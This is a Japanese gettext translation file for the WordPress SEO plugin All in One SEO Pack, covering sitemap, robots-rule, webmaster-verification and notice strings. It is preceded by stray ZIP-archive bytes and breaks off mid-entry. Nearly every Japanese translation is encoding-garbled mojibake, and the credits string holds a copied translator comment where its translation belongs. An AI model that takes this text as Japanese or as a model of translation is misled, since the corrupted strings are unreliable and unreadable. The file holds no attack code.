?????????????? PKø®–[¶ÿœc8c8all-in-one-seo-pack-ja.ponu„[µü¤# Translation of Plugins - All in One SEO Pack - Stable (latest release) in Japanese # This file is distributed under the same license as the Plugins - All in One SEO Pack - Stable (latest release) package. msgid "" msgstr "" "PO-Revision-Date: 2019-07-03 18:46:10+0000\n" "MIME-Version: 1.0\n" "Content-Type: text/plain; charset=UTF-8\n" "Content-Transfer-Encoding: 8bit\n" "Plural-Forms: nplurals=1; plural=0;\n" "X-Generator: GlotPress/2.4.0-alpha\n" "Language: ja_JP\n" "Project-Id-Version: Plugins - All in One SEO Pack - Stable (latest release)\n" #: inc/commonstrings.php:87 msgid "Display Menu In Toolbar:" msgstr "ツールãƒãƒ¼ã«ãƒ¡ãƒ‹ãƒ¥ãƒ¼ã‚’表示:" #: admin/display/welcome-content.php:5 msgid "Version 3" msgstr "ãƒãƒ¼ã‚¸ãƒ§ãƒ³3" #. translators: %s is a placeholder, which means that it should not be #. translated. It will be replaced with the name of the plugin, All in One SEO #. Pack. #: admin/class-aioseop-helper.php:962 msgid "Select which Post Types you want to export your %s meta data for." msgstr "%sメタデータをエクスãƒãƒ¼ãƒˆã™ã‚‹æŠ•ç¨¿ã‚¿ã‚¤ãƒ—ã‚’é¸æŠžã—ã¦ãã ã•ã„。" #: admin/class-aioseop-helper.php:960 msgid "You may choose to export settings from active modules, and content from post data." msgstr "アクティブãªãƒ¢ã‚¸ãƒ¥ãƒ¼ãƒ«ã‹ã‚‰è¨­å®šã‚’エクスãƒãƒ¼ãƒˆã—ã€æŠ•ç¨¿ãƒ‡ãƒ¼ã‚¿ã‹ã‚‰ã‚³ãƒ³ãƒ†ãƒ³ãƒ„をエクスãƒãƒ¼ãƒˆã™ã‚‹ã“ã¨ã‚’é¸æŠžã§ãã¾ã™ã€‚" #: admin/class-aioseop-helper.php:798 msgid "Select which Post Types you want to set Open Graph meta values for." msgstr "Open Graph ã®ãƒ¡ã‚¿å€¤ã‚’設定ã™ã‚‹æŠ•ç¨¿ã‚¿ã‚¤ãƒ—ã‚’é¸æŠžã—ã¾ã™ã€‚" #: admin/class-aioseop-helper.php:661 admin/class-aioseop-helper.php:668 msgid "Posts" msgstr "投稿" #: admin/class-aioseop-helper.php:656 msgid "Exclude any category, tag or custom taxonomy from the XML sitemap. Start typing the name of a category, tag or taxonomy term in the field and a dropdown will populate with the matching terms for you to select from.

This will also exclude any content belonging to the specified term. For example, if you exclude the \"Uncategorized\" category then all posts in that category will also be excluded from the sitemap." msgstr "XML サイトマップã‹ã‚‰ã‚«ãƒ†ã‚´ãƒªãƒ¼ã€ã‚¿ã‚°ã€ã¾ãŸã¯ã‚«ã‚¹ã‚¿ãƒ åˆ†é¡žã‚’除外ã—ã¾ã™ã€‚ フィールドã«ã‚«ãƒ†ã‚´ãƒªãƒ¼ã€ã‚¿ã‚°ã€ã¾ãŸã¯ã‚¿ã‚¯ã‚½ãƒŽãƒŸãƒ¼é …ç›®ã®åå‰ã‚’入力ã™ã‚‹ã¨ã€ãƒ‰ãƒ­ãƒƒãƒ—ダウンã«é¸æŠžå¯èƒ½ãªä¸€è‡´ã™ã‚‹èªžå¥ãŒè¡¨ç¤ºã•れã¾ã™ã€‚

ã“れã«ã‚ˆã‚Šã€æŒ‡å®šã—ãŸèªžå¥ã«å±žã™ã‚‹ã‚³ãƒ³ãƒ†ãƒ³ãƒ„も除外ã•れã¾ã™ã€‚ ãŸã¨ãˆã°ã€ã€Œæœªåˆ†é¡žã€ã®ã‚«ãƒ†ã‚´ãƒªã‚’除外ã™ã‚‹ã¨ã€ãã®ã‚«ãƒ†ã‚´ãƒªãƒ¼å†…ã®ã™ã¹ã¦ã®æŠ•稿もサイトマップã‹ã‚‰é™¤å¤–ã•れã¾ã™ã€‚" #: admin/class-aioseop-helper.php:652 msgid "URL to the page. This field only accepts absolute URLs with the protocol specified." msgstr "ページã¸ã® URL。 ã“ã®ãƒ•ィールドã¯ã€æŒ‡å®šã•れãŸãƒ—ロトコルをæŒã¤çµ¶å¯¾ URL ã®ã¿ã‚’å—ã‘入れã¾ã™ã€‚" #: admin/class-aioseop-helper.php:641 msgid "Generate an RSS sitemap in addition to the regular XML Sitemap." msgstr "通常㮠XML サイトマップã«åŠ ãˆã¦ RSS サイトマップを生æˆã—ã¾ã™ã€‚" #: admin/class-aioseop-helper.php:451 msgid "The title of the %2$s taxonomy that is associated to this %3$s" msgstr "ã“ã®%3$sã«é–¢é€£ä»˜ã‘られã¦ã„ã‚‹ %2$s タクソノミーã®ã‚¿ã‚¤ãƒˆãƒ«" #: admin/class-aioseop-helper.php:379 msgid "Enter your verification code here to verify your site with Baidu Webmaster Tools." msgstr "ã“ã“ã«ç¢ºèªã‚³ãƒ¼ãƒ‰ã‚’入力ã—ã¦ã€Baidu ウェブマスターツールã§ã‚µã‚¤ãƒˆã‚’確èªã—ã¦ãã ã•ã„。" #: admin/class-aioseop-helper.php:378 msgid "Enter your verification code here to verify your site with Yandex Webmaster Tools." msgstr "ã“ã“ã«ç¢ºèªã‚³ãƒ¼ãƒ‰ã‚’入力ã—ã¦ã€Yandex ウェブマスターツールã§ã‚µã‚¤ãƒˆã‚’確èªã—ã¦ãã ã•ã„。" #: admin/class-aioseop-helper.php:377 msgid "Enter your verification code here to verify your site with Pinterest." msgstr "ã“ã“ã«ç¢ºèªã‚³ãƒ¼ãƒ‰ã‚’入力ã—ã¦ã€Pinterest ã§ã‚µã‚¤ãƒˆã‚’確èªã—ã¦ãã ã•ã„。" #: admin/class-aioseop-helper.php:376 msgid "Enter your verification code here to verify your site with Bing Webmaster Tools." msgstr "ã“ã“ã«ç¢ºèªã‚³ãƒ¼ãƒ‰ã‚’入力ã—ã¦ã€Bing ウェブマスターツールã§ã‚µã‚¤ãƒˆã‚’確èªã—ã¦ãã ã•ã„。" #: admin/class-aioseop-helper.php:375 msgid "Enter your verification code here to verify your site with Google Search Console." msgstr "ã“ã“ã«ç¢ºèªã‚³ãƒ¼ãƒ‰ã‚’入力ã—ã¦ã€Google Search Console ã§ã‚µã‚¤ãƒˆã‚’確èªã—ã¦ãã ã•ã„。" #. translators: %s is a placeholder, which means that it should not be #. translated. It will be replaced with the name of the plugin, All in One SEO #. Pack. #: admin/class-aioseop-helper.php:369 msgid "Use these checkboxes to select which Content Types you want to use %s with." msgstr "ã“れらã®ãƒã‚§ãƒƒã‚¯ãƒœãƒƒã‚¯ã‚¹ã‚’使用ã—ã¦ã€%s を使用ã™ã‚‹ã‚³ãƒ³ãƒ†ãƒ³ãƒ„ã‚¿ã‚¤ãƒ—ã‚’é¸æŠžã—ã¦ãã ã•ã„。" #: admin/class-aioseop-helper.php:363 msgid "The page number" msgstr "ページ番å·" #: admin/class-aioseop-helper.php:356 msgid "Additional 404 title input" msgstr "追加㮠404 タイトル入力" #: admin/class-aioseop-helper.php:354 msgid "The URL path in human readable form, like \"Url That Does Not Exist\"" msgstr "「存在ã—ãªã„ URL ã€ã®ã‚ˆã†ãªäººé–“ãŒèª­ã‚ã‚‹å½¢å¼ã® URL パス" #: admin/class-aioseop-helper.php:352 msgid "The original URL path, like \"/url-that-does-not-exist/\"" msgstr "元㮠URL パス。例ãˆã° \"/url-that-does-not-exist/\"" #. translators: "Post/Page" are the two main content types in WordPress. #: admin/class-aioseop-helper.php:334 admin/class-aioseop-helper.php:337 #: admin/class-aioseop-helper.php:339 msgid "Post/Page" msgstr "投稿 / 固定ページ" #: admin/class-aioseop-helper.php:325 msgid "The original WordPress title" msgstr "元㮠WordPress サイト" #: admin/class-aioseop-helper.php:311 msgid "The search term that was entered" msgstr "入力ã•ã‚ŒãŸæ¤œç´¢ã‚­ãƒ¼ãƒ¯ãƒ¼ãƒ‰" #: admin/class-aioseop-helper.php:300 msgid "Tag" msgstr "ã‚¿ã‚°" #: admin/class-aioseop-helper.php:300 msgid "The name of the %s" msgstr "%sã®åå‰" #. translators: "Archive" is used in the context of a WordPress archive page. #: admin/class-aioseop-helper.php:260 msgid "Archive" msgstr "アーカイブ" #: admin/class-aioseop-helper.php:246 msgid "The current year" msgstr "今年" #. translators: %s is replaced with a content type such as Post, Page, etc. #: admin/class-aioseop-helper.php:241 admin/class-aioseop-helper.php:244 msgid "Category" msgstr "カテゴリー" #. translators: %s is replaced with a content type such as Post, Page, etc. #: admin/class-aioseop-helper.php:210 msgid "The (main) Category of the %s" msgstr "%s ã®ãƒ¡ã‚¤ãƒ³ã‚«ãƒ†ã‚´ãƒªãƒ¼" #: admin/class-aioseop-helper.php:194 admin/class-aioseop-helper.php:228 #: admin/class-aioseop-helper.php:339 admin/class-aioseop-helper.php:473 msgid "month" msgstr "月" #: admin/class-aioseop-helper.php:175 admin/class-aioseop-helper.php:177 #: admin/class-aioseop-helper.php:179 admin/class-aioseop-helper.php:181 #: admin/class-aioseop-helper.php:183 admin/class-aioseop-helper.php:190 #: admin/class-aioseop-helper.php:192 admin/class-aioseop-helper.php:194 msgid "Page" msgstr "固定ページ" #: admin/class-aioseop-helper.php:164 admin/class-aioseop-helper.php:196 #: admin/class-aioseop-helper.php:230 admin/class-aioseop-helper.php:341 msgid "The name of a custom field" msgstr "カスタムフィールドã®åå‰" #. translators: %s is replaced with a time related term such as Date, Year, #. Month, etc. #: admin/class-aioseop-helper.php:162 admin/class-aioseop-helper.php:188 #: admin/class-aioseop-helper.php:192 admin/class-aioseop-helper.php:222 #: admin/class-aioseop-helper.php:226 admin/class-aioseop-helper.php:329 #: admin/class-aioseop-helper.php:337 admin/class-aioseop-helper.php:467 #: admin/class-aioseop-helper.php:471 msgid "year" msgstr "å¹´" #. translators: %s is replaced with a time related term such as Date, Year, #. Month, etc. #: admin/class-aioseop-helper.php:162 admin/class-aioseop-helper.php:188 #: admin/class-aioseop-helper.php:222 admin/class-aioseop-helper.php:329 #: admin/class-aioseop-helper.php:467 msgid "The current %s" msgstr "ç¾åœ¨ã®%s" #. translators: %s is replaced with a time related term such as Date, Year, #. Month, etc. #: admin/class-aioseop-helper.php:159 admin/class-aioseop-helper.php:186 #: admin/class-aioseop-helper.php:190 admin/class-aioseop-helper.php:220 #: admin/class-aioseop-helper.php:224 admin/class-aioseop-helper.php:327 #: admin/class-aioseop-helper.php:332 admin/class-aioseop-helper.php:465 #: admin/class-aioseop-helper.php:469 msgid "date" msgstr "日付" #. translators: %s is replaced with a time related term such as Date, Year, #. Month, etc. #: admin/class-aioseop-helper.php:159 admin/class-aioseop-helper.php:186 #: admin/class-aioseop-helper.php:220 admin/class-aioseop-helper.php:327 #: admin/class-aioseop-helper.php:465 msgid "The current %s (localized)" msgstr "ç¾åœ¨ã®%s (ローカライズ済ã¿)" #: admin/class-aioseop-helper.php:156 admin/class-aioseop-helper.php:183 #: admin/class-aioseop-helper.php:218 admin/class-aioseop-helper.php:463 msgid "last name" msgstr "å§“" #: admin/class-aioseop-helper.php:154 admin/class-aioseop-helper.php:181 #: admin/class-aioseop-helper.php:216 admin/class-aioseop-helper.php:461 msgid "first name" msgstr "å" #. translators: The "nicename" is the sanitized version of a username. #: admin/class-aioseop-helper.php:151 admin/class-aioseop-helper.php:179 #: admin/class-aioseop-helper.php:214 admin/class-aioseop-helper.php:459 msgid "nicename" msgstr "ナイスãƒãƒ¼ãƒ " #. translators: Example sentence: "The first name of the author of the Post" #: admin/class-aioseop-helper.php:146 admin/class-aioseop-helper.php:177 #: admin/class-aioseop-helper.php:212 admin/class-aioseop-helper.php:457 msgid "username" msgstr "ユーザーå" #. translators: %s is a placeholder, which means that it should not be #. translated. It will be replaced with the name of the plugin, All in One SEO #. Pack. #: admin/display/welcome-content.php:51 msgid "Beginners Guide for %s" msgstr "%s åˆå¿ƒè€…å‘ã‘ガイド" #. translators: %s is a placeholder, which means that it should not be #. translated. It will be replaced with the name of the plugin, All in One SEO #. Pack. #: admin/display/welcome-content.php:34 msgid "Help translate %s into your language." msgstr "%s を日本語ã«ç¿»è¨³ã—ã¦ãã ã•ã„" #. translators: %s is a placeholder, which means that it should not be #. translated. It will be replaced with the name of the premium version of the #. plugin, All in One SEO Pack Pro. #: admin/display/welcome-content.php:23 msgid "Upgrade to %s to access priority support and premium features." msgstr "優先サãƒãƒ¼ãƒˆã¨ãƒ—レミアム機能ã«ã‚¢ã‚¯ã‚»ã‚¹ã™ã‚‹ã«ã¯%sã«ã‚¢ãƒƒãƒ—グレードã—ã¦ãã ã•ã„。" #. translators: %s is a placeholder, which means that it should not be #. translated. It will be replaced with the name of the plugin, All in One SEO #. Pack. #: admin/display/welcome-content.php:17 msgid "There are many ways you can help support %s." msgstr "%sをサãƒãƒ¼ãƒˆã™ã‚‹æ–¹æ³•ã¯ãŸãã•ã‚“ã‚りã¾ã™ã€‚" #. translators: %s is a placeholder, which means that it should not be #. translated. It will be replaced with the name of the plugin, All in One SEO #. Pack. #: admin/display/welcome-content.php:11 msgid "Support %s" msgstr "%s をサãƒãƒ¼ãƒˆ" #: admin/display/welcome-content.php:5 msgid "Check out what's new in our %s release post!" msgstr "%s ãƒªãƒªãƒ¼ã‚¹æŠ•ç¨¿ã®æ–°æ©Ÿèƒ½ã‚’ãƒã‚§ãƒƒã‚¯ã—ã¦ãã ã•ã„。" #: admin/display/general-metaboxes.php:196 msgid "%1$sClick here%2$s to file a feature request/bug report." msgstr "機能リクエストã¾ãŸã¯ãƒã‚°ãƒ¬ãƒãƒ¼ãƒˆã‚’é€ä¿¡ã™ã‚‹ã«ã¯%1$sã“ã“をクリック%2$sã—ã¦ãã ã•ã„。" #. translators: %s is a placeholder, which means that it should not be #. translated. It will be replaced with the name of the plugin, All in One SEO #. Pack. #: admin/display/general-metaboxes.php:143 msgid "Read the %s user guide" msgstr "%s ã®ãƒ¦ãƒ¼ã‚¶ãƒ¼ã‚¬ã‚¤ãƒ‰ã‚’読む" #. translators: %1$s and %2$s are placeholders, which means that these should #. not be translated. These will be replaced with the name of the plugin, All #. in One SEO Pack, and the current version number. #: admin/display/welcome.php:121 msgid "Welcome to %1$s %2$s" msgstr "%1$s %2$s ã¸ã‚ˆã†ã“ã" #. translators: %s is a placeholder, which means that it should not be #. translated. It will be replaced with the name of the plugin, All in One SEO #. Pack. #: admin/display/welcome.php:55 msgid "Welcome to %s" msgstr "%s ã¸ã‚ˆã†ã“ã" #: admin/display/dashboard_widget.php:74 msgid "{Temporarily unable to load feed.}" msgstr "{一時的ã«ãƒ•ィードを読ã¿è¾¼ã‚€ã“ã¨ãŒã§ãã¾ã›ã‚“。}" #: admin/display/notices/review-plugin-notice.php:41 msgid "No, thanks" msgstr "ã„ã„ãˆã€çµæ§‹ã§ã™" #: admin/display/notices/review-plugin-notice.php:28 msgid "Add a review" msgstr "レビューを追加" #. translators: %1$s is a placeholder, which means that it should not be #. translated. It will be replaced with the name of the plugin, All in One SEO #. Pack. #: admin/display/notices/review-plugin-notice.php:24 msgid "You have been using %1$s for a while now. That is awesome! If you like %1$s, then please leave us a 5-star rating. Huge thanks in advance!" msgstr "ã—ã°ã‚‰ãã®é–“ %1$s を使用ã—ã¦ã„ã¾ã™ã€‚ 素晴らã—ã„! %1$s ãŒæ°—ã«å…¥ã£ã¦ã„ãŸã‚‰ã€5ã¤æ˜Ÿã®è©•価ã—ã¦ãã ã•ã„。 ã©ã†ã‚‚ã‚りãŒã¨ã†ã”ã–ã„ã¾ã—ãŸï¼" #: admin/display/notices/blog-visibility-notice.php:34 msgid "Update Reading Settings" msgstr "読ã¿å–り設定を更新ã™ã‚‹" #. translators: %s is a placeholder, which means that it should not be #. translated. It will be replaced with the name of the plugin, All in One SEO #. Pack. "Settings > Reading" refers to the "Reading" submenu in WordPress #. Core. #: admin/display/notices/blog-visibility-notice.php:27 msgid "Warning: %s has detected that you are blocking access to search engines. You can change this in Settings > Reading if this was unintended." msgstr "警告:%s ã¯ã‚ãªãŸãŒæ¤œç´¢ã‚¨ãƒ³ã‚¸ãƒ³ã¸ã®ã‚¢ã‚¯ã‚»ã‚¹ã‚’ブロックã—ã¦ã„ã‚‹ã“ã¨ã‚’検出ã—ã¾ã—ãŸã€‚[設定] > [表示設定]ã§å¤‰æ›´ã§ãã¾ã™ã€‚" #: admin/display/notices/review-plugin-notice.php:34 #: admin/display/notices/sitemap-indexes-notice.php:35 #: admin/display/notices/blog-visibility-notice.php:41 msgid "Remind me later" msgstr "後ã§å†é€šçŸ¥ã™ã‚‹" #: admin/display/notices/wc-detected-notice.php:37 msgid "No Thanks" msgstr "ã„ã„ãˆã€çµæ§‹ã§ã™" #. translators: %s is a placeholder, which means that it should not be #. translated. It will be replaced with the name of the premium version of the #. plugin, All in One SEO Pack Pro. #: admin/display/notices/wc-detected-notice.php:22 msgid "We have detected you are running WooCommerce. Upgrade to %s to unlock our advanced e-commerce features, including SEO for Product Categories and more." msgstr "WooCommerce ã‚’ãŠä½¿ã„ã§ã‚ã‚‹ã“ã¨ã‚’検出ã—ã¾ã—ãŸã€‚%sã«ã‚¢ãƒƒãƒ—グレードã—ã¦ã€å•†å“カテゴリー㮠SEO ãªã©ã®é«˜åº¦ãªeコマース機能を活用ã—ã¾ã—ょã†ã€‚" #. translators: %s is a placeholder, which means that it should not be #. translated. It will be replaced with the name of the plugin, All in One SEO #. Pack. #: admin/display/credits-content.php:5 msgid "%s is created by a worldwide network of friendly folks like these." msgstr "%sã¯ãƒ—レースホルダーã§ã™ã€‚ã¤ã¾ã‚Šã€ç¿»è¨³ã—ãªã„ã§ãã ã•ã„。 ã“れã¯ãƒ—ラグインã®åå‰ã€ All in One SEO Pack ã«ç½®ãæ›ãˆã‚‰ã‚Œã¾ã™ã€‚" #: admin/class-aioseop-notices.php:851 msgid "Notice updated successfully." msgstr "通知を更新ã—ã¾ã—ãŸã€‚" #. Translators: Displays the hordcoded slug that missing. #: admin/class-aioseop-notices.php:827 admin/class-aioseop-notices.php:830 msgid "Missing values from `%s`." msgstr "`%s` ã®å€¤ãŒå­˜åœ¨ã—ã¾ã›ã‚“。" #: admin/class-aioseop-notices.php:804 msgid "User doesn't have `aiosp_manage_seo` capabilities." msgstr "ユーザー㫠`aiosp_manage_seo` 権é™ãŒã‚りã¾ã›ã‚“。" #: admin/class-aioseop-notices.php:340 msgid "Dismiss" msgstr "éžè¡¨ç¤º" #: modules/aioseop_sitemap.php:340 msgid "Excluded Terms" msgstr "除外å˜èªž" #: modules/aioseop_importer_exporter.php:502 #: modules/aioseop_performance.php:302 msgid "Settings export file for %s" msgstr "%sã®è¨­å®šã‚¨ã‚¯ã‚¹ãƒãƒ¼ãƒˆãƒ•ァイル" #. translators: %s is a placeholder, which means that it should not be #. translated. It will be replaced with the name of the premium version of the #. plugin, All in One SEO Pack Pro. #: modules/aioseop_performance.php:264 msgid "%s Debug Info" msgstr "%s デãƒãƒƒã‚°æƒ…å ±" #: modules/aioseop_performance.php:260 msgid "Inactive Plugins" msgstr "åœæ­¢ä¸­ã®ãƒ—ラグイン" #: modules/aioseop_performance.php:250 msgid "Active Plugins" msgstr "使用中ã®ãƒ—ラグイン" #. translators: The complete string is: "All in One SEO Pack by Michael Torbert #. of Semper Fi Web Design". The placeholders shouldn't be altered; only the #. words "by" and "of" should be translated. #: aioseop_class.php:3647 msgid "%1$s by %2$s of %3$s" msgstr "%1$s ã«ã‚ˆã£ã¦ %2$s ã® %3$s" #. translators: %1$s, %2$s and %3$s are placeholders and should not be #. translated. %1$s expands to the name of the plugin, All in One SEO Pack, #. %2$s to the name of a filter function and %3$s is replaced with a number. #: aioseop_class.php:3627 msgid "Debug Warning: %1$s meta data was included again from %2$s filter. Called %3$s times!" msgstr "デãƒãƒƒã‚°è­¦å‘Š: %1$sメタデータãŒ%2$sフィルタã‹ã‚‰å†åº¦å«ã¾ã‚Œã¾ã—ãŸã€‚ %3$s回呼ã³å‡ºã•れã¾ã—ãŸã€‚" #: aioseop_class.php:569 msgid "Upgrade to" msgstr "アップグレード:" #: aioseop_class.php:266 msgid "Baidu Webmaster Tools:" msgstr "Baidu ウェブマスターツール:" #: aioseop_class.php:261 msgid "Yandex Webmaster Tools:" msgstr "Yandex ウェブマスターツール:" #: aioseop_class.php:218 msgid "Part" msgstr "パート" #. translators: %s is a placeholder, which means that it should not be #. translated. It will be replaced with the name of the plugin, All in One SEO #. Pack. #: modules/aioseop_feature_manager.php:58 msgid "Exports and imports your %s plugin settings." msgstr "%s プラグイン設定をエクスãƒãƒ¼ãƒˆãŠã‚ˆã³ã‚¤ãƒ³ãƒãƒ¼ãƒˆã—ã¾ã™ã€‚" #. translators: %s is a placeholder, which means that it should not be #. translated. It will be replaced with a period of time, such as "5 minutes" #. or "a short while". #: inc/commonstrings.php:122 msgid "Video sitemap scan in progress. Please check again in %s." msgstr "動画サイトマップã®ã‚¹ã‚­ãƒ£ãƒ³ãŒé€²è¡Œä¸­ã§ã™ã€‚ %sã§ã‚‚ã†ä¸€åº¦ç¢ºèªã—ã¦ãã ã•ã„。" #. translators: This expression means "a small period/brief period of time". #: inc/commonstrings.php:120 msgid "a short while" msgstr "ã—ã°ã‚‰ãã®é–“" #: inc/commonstrings.php:118 msgid "Video sitemap scan completed successfully!" msgstr "動画サイトマップã®ã‚¹ã‚­ãƒ£ãƒ³ãŒæ­£å¸¸ã«å®Œäº†ã—ã¾ã—ãŸã€‚" #: admin/class-aioseop-helper.php:664 admin/class-aioseop-helper.php:671 #: inc/commonstrings.php:78 msgid "Author Pages" msgstr "著者ページ" #: admin/class-aioseop-helper.php:663 admin/class-aioseop-helper.php:670 #: inc/commonstrings.php:77 msgid "Archive Pages" msgstr "アーカイブページ" #. translators: %s is replaced with a content type such as Post, Page, etc. #. translators: Example sentence: "The first name of the author of the Post" #. translators: The "nicename" is the sanitized version of a username. #: admin/class-aioseop-helper.php:143 admin/class-aioseop-helper.php:146 #: admin/class-aioseop-helper.php:151 admin/class-aioseop-helper.php:154 #: admin/class-aioseop-helper.php:156 admin/class-aioseop-helper.php:660 #: admin/class-aioseop-helper.php:667 inc/commonstrings.php:74 msgid "Homepage" msgstr "ホームページ" #: inc/commonstrings.php:117 msgid "Include Custom Fields" msgstr "カスタムフィールドをå«ã‚ã‚‹" #: inc/commonstrings.php:64 msgid "Enable this option to look for videos in custom fields as well." msgstr "カスタムフィールドã§ã‚‚動画を探ã™å ´åˆã¯ã€ã“ã®ã‚ªãƒ—ションを有効ã«ã—ã¾ã™ã€‚" #: admin/class-aioseop-helper.php:594 admin/class-aioseop-helper.php:623 #: admin/class-aioseop-helper.php:753 admin/class-aioseop-helper.php:841 #: admin/class-aioseop-helper.php:906 admin/class-aioseop-helper.php:972 #: admin/class-aioseop-helper.php:1038 inc/commonstrings.php:50 msgid "Click here for documentation on this setting." msgstr "ã“ã®è¨­å®šã®èª¬æ˜Žã¯ã“ã“をクリック(英語)" #. translators: %s is replaced with a content type such as Post, Page, etc. #. translators: %s is a placeholder, which means that it should not be #. translated. It will be replaced with a noun. #: admin/class-aioseop-helper.php:244 inc/commonstrings.php:46 msgid "The description of the %s" msgstr "%sã®èª¬æ˜Ž" #. translators: %s is replaced with a content type such as Post, Page, etc. #. translators: %s is a placeholder, which means that it should not be #. translated. It will be replaced with a noun. #: admin/class-aioseop-helper.php:143 admin/class-aioseop-helper.php:175 #: admin/class-aioseop-helper.php:207 admin/class-aioseop-helper.php:241 #: admin/class-aioseop-helper.php:258 admin/class-aioseop-helper.php:323 #: admin/class-aioseop-helper.php:446 inc/commonstrings.php:44 msgid "The original title of the %s" msgstr "%sã®å…ƒã‚¿ã‚¤ãƒˆãƒ«" #: admin/class-aioseop-helper.php:140 admin/class-aioseop-helper.php:173 #: admin/class-aioseop-helper.php:205 admin/class-aioseop-helper.php:239 #: admin/class-aioseop-helper.php:255 admin/class-aioseop-helper.php:270 #: admin/class-aioseop-helper.php:287 admin/class-aioseop-helper.php:298 #: admin/class-aioseop-helper.php:309 admin/class-aioseop-helper.php:319 #: admin/class-aioseop-helper.php:350 admin/class-aioseop-helper.php:444 #: inc/commonstrings.php:41 msgid "Your site description" msgstr "サイトã®èª¬æ˜Ž" #: admin/class-aioseop-helper.php:138 admin/class-aioseop-helper.php:171 #: admin/class-aioseop-helper.php:203 admin/class-aioseop-helper.php:237 #: admin/class-aioseop-helper.php:253 admin/class-aioseop-helper.php:268 #: admin/class-aioseop-helper.php:285 admin/class-aioseop-helper.php:296 #: admin/class-aioseop-helper.php:307 admin/class-aioseop-helper.php:317 #: admin/class-aioseop-helper.php:348 admin/class-aioseop-helper.php:442 #: inc/commonstrings.php:40 msgid "Your site title" msgstr "サイトã®ã‚¿ã‚¤ãƒˆãƒ«" #. translators: %s is a placeholder, which means that it should not be #. translated. It will be replaced with the name of the plugin, All in One SEO #. Pack. #: inc/commonstrings.php:28 msgid "Check this to move the %s menu item to the top of your WordPress Dashboard menu." msgstr "ã“れをãƒã‚§ãƒƒã‚¯ã™ã‚‹ã¨ã€ %s メニュー項目㌠WordPress ダッシュボードメニューã®ä¸€ç•ªä¸Šã«ç§»å‹•ã—ã¾ã™ã€‚" #. translators: %s is a placeholder, which means that it should not be #. translated. It will be replaced with the name of the plugin, All in One SEO #. Pack. #: inc/commonstrings.php:26 msgid "Check this to add %s to the Toolbar for easy access to your SEO settings." msgstr "SEO 設定ã«ç°¡å˜ã«ã‚¢ã‚¯ã‚»ã‚¹ã™ã‚‹ãŸã‚ã«ãƒ„ールãƒãƒ¼ã«%sを追加ã™ã‚‹ã«ã¯ã€ã“れをãƒã‚§ãƒƒã‚¯ã—ã¦ãã ã•ã„。" #. translators: %s is a placeholder, which means that it should not be #. translated. It will be replaced with the name of the plugin, All in One SEO #. Pack. #: inc/commonstrings.php:23 msgid "Use these checkboxes to select which Taxonomies you want to use %s with." msgstr "ã“れらã®ãƒã‚§ãƒƒã‚¯ãƒœãƒƒã‚¯ã‚¹ã‚’使用ã—ã¦ã€%sを使用ã™ã‚‹ã‚¿ã‚¯ã‚½ãƒŽãƒŸãƒ¼ã‚’é¸æŠžã—ã¾ã™ã€‚" #: inc/sitemap-xsl.php:97 msgid "sitemaps" msgstr "サイトマップ" #: inc/sitemap-xsl.php:97 msgid "This sitemap index contains" msgstr "ã“ã®ã‚µã‚¤ãƒˆãƒžãƒƒãƒ—インデックスã«ã¯ä»¥ä¸‹ãŒå«ã¾ã‚Œã¾ã™:" #: inc/sitemap-xsl.php:96 msgid "URLs" msgstr "URL" #: inc/sitemap-xsl.php:96 msgid "This sitemap contains" msgstr "ã“ã®ã‚µã‚¤ãƒˆãƒžãƒƒãƒ—ã«ã¯ä»¥ä¸‹ãŒå«ã¾ã‚Œã¾ã™:" #: inc/sitemap-xsl.php:93 msgid "You can find more information about XML sitemaps at sitemaps.org" msgstr "XML サイトマップã«ã¤ã„ã¦è©³ã—ãã¯ã€sitemaps.org ã‚’ã”覧ãã ã•ã„。" #: inc/sitemap-xsl.php:92 msgid "this is an XML Sitemap, meant to be consumed by search engines like Google or Bing." msgstr "ã“れã¯XMLサイトマップã§ã€Googleã‚„Bingãªã©ã®æ¤œç´¢ã‚¨ãƒ³ã‚¸ãƒ³ã«ã‚ˆã£ã¦ä½¿ç”¨ã•れるã“ã¨ã‚’æ„図ã—ã¦ã„ã¾ã™ã€‚" #: inc/sitemap-xsl.php:92 msgid "Generated by" msgstr "生æˆ: " #: admin/display/credits-content.php:31 msgid "Team Lead" msgstr "ãƒãƒ¼ãƒ ãƒªãƒ¼ãƒ€ãƒ¼" #: aioseop_class.php:251 msgid "Bing Webmaster Tools:" msgstr "Bing web マスターツール:" #: aioseop_class.php:246 msgid "Google Search Console:" msgstr "Google Search Console:" #: modules/aioseop_sitemap.php:172 msgid "Create RSS Sitemap" msgstr "RSS サイトマップを作æˆ" #: inc/commonstrings.php:51 msgid "Create RSS Sitemap as well." msgstr "RSS ã«ã‚‚サイトマップを作æˆã—ã¾ã™ã€‚" #: aioseop_class.php:657 msgid "Content Type Settings" msgstr "コンテンツタイプ設定" #. translators: Link to sitemap within current site. #: modules/aioseop_sitemap.php:928 msgid "Click here to %1$sview your RSS sitemap%2$s." msgstr "ã“ã“をクリックã—㦠%1$sRSS サイトマップを表示%2$sã—ã¾ã™ã€‚" #. translators: Link to documentation. #: modules/aioseop_sitemap.php:922 msgid "view your XML sitemap" msgstr "XML サイトマップを表示" #: modules/aioseop_robots.php:522 msgid "Modify Rule" msgstr "ルールを変更" #: modules/aioseop_robots.php:43 msgid "Disallow" msgstr "許å¯ã—ãªã„" #: inc/aioseop_functions.php:427 msgid "Please provide absolute URLs (including http or https)." msgstr "絶対 URL を入力ã—ã¦ãã ã•ã„ (http ã‚‚ã—ã㯠https è¾¼ã¿)。" #: modules/aioseop_robots.php:494 msgid "Wild-card path cannot be overridden: %s" msgstr "ワイルドカード・パスを上書ãã§ãã¾ã›ã‚“: %s" #: modules/aioseop_robots.php:472 msgid "Path cannot be overridden: %s" msgstr "パスを上書ãã§ãã¾ã›ã‚“: %s" #: modules/aioseop_robots.php:465 msgid "Rule cannot be overridden: %s" msgstr "ルールを上書ãã§ãã¾ã›ã‚“: %s" #: modules/aioseop_robots.php:451 msgid "Identical rule exists: %s" msgstr "åŒã˜ãƒ«ãƒ¼ãƒ«ãŒæ—¢ã«ã‚りã¾ã™: %s" #: modules/aioseop_robots.php:432 msgid "Directory Path cannot be empty" msgstr "ディレクトリパスã«å…¥åŠ›ã—ã¦ä¸‹ã•ã„" #: modules/aioseop_robots.php:429 msgid "User Agent cannot be empty" msgstr "ユーザーエージェントã«ä½•ã‹å…¥åŠ›ã—ã¦ãã ã•ã„" #: modules/aioseop_robots.php:172 msgid "Unable to delete file" msgstr "ファイルを削除ã§ãã¾ã›ã‚“" #: modules/aioseop_robots.php:167 msgid "Unable to read file" msgstr "ファイルを読ã¿è¾¼ã‚ã¾ã›ã‚“" #: 